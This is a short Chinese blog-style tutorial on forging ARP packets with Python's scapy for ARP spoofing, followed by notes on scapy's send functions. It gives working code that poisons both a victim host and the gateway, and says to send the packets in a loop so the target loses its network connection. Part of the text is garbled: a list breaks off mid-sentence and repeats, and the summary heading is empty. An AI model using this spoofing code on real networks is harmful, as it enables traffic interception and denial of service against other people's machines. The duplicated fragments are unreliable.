构造ARP包发包
构造ARP包进行arp欺骗
arp分为请求包以及响应包 Opcode中的代码表示请求以及响应
使用wireshark抓包可见,Opcode为1可知这是一个请求包
再来看看响应包,它的Opcode为2
在使用scapy模块构造,arp应答包时,我们采用的是第二层发包(就是根据我们第二层中的封装的帧头来发包)
ptk2 = Ether()/ARP()#构造数据包ptk2[ARP].op = 2#设置为应答包 ptk2[ARP].psrc = '192.168.0.1'#我们想要冒充的ip地址 ptk2[ARP].pdst = '192.168.0.107'#我们想要发送数据的ip地址在我们没有设置ARP时我们 第二层目标地址mac默认为网关的地址
之后就是发包,sr 与 sr1都是在第三层发包,所以我们使用sr1发包时是没有用的。使用的srp1(pkt)方法来发包
srp1(ptk2)如果想要目标机器断网,我们还得去使用上面的同样的方法去欺骗网关
arpspoof_gateway = Ether()/ARP() arpspoof_gateway[ARP].op = 2 arpspoof_gateway[ARP].psrc = '192.168.0.107' arpspoof_gateway[ARP].pdst = '192.168.0.1'接着循环发送达到欺骗的目的
发送请求包
arp = ARP() arp[ARP].op = 1 arp[ARP].pdst = '192.168.0.107' sr1(arp)四种发包方式用法如下:
(1)只发不收
- send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
- sendp(),根据第二层发包,需要手动指定第二层如何封装。
(2)发包且收包
- sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
动指定第二层如何封装。
(2)发包且收包
- sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
- srp()和srp1()都是根据第二层发包,srp1表示只接收第一个回复。
总结
- 上一篇: 计算机网络安全技术(第6版 课后练习题简
- 下一篇: [转] 程序员才懂的58张图片,哈哈哈哈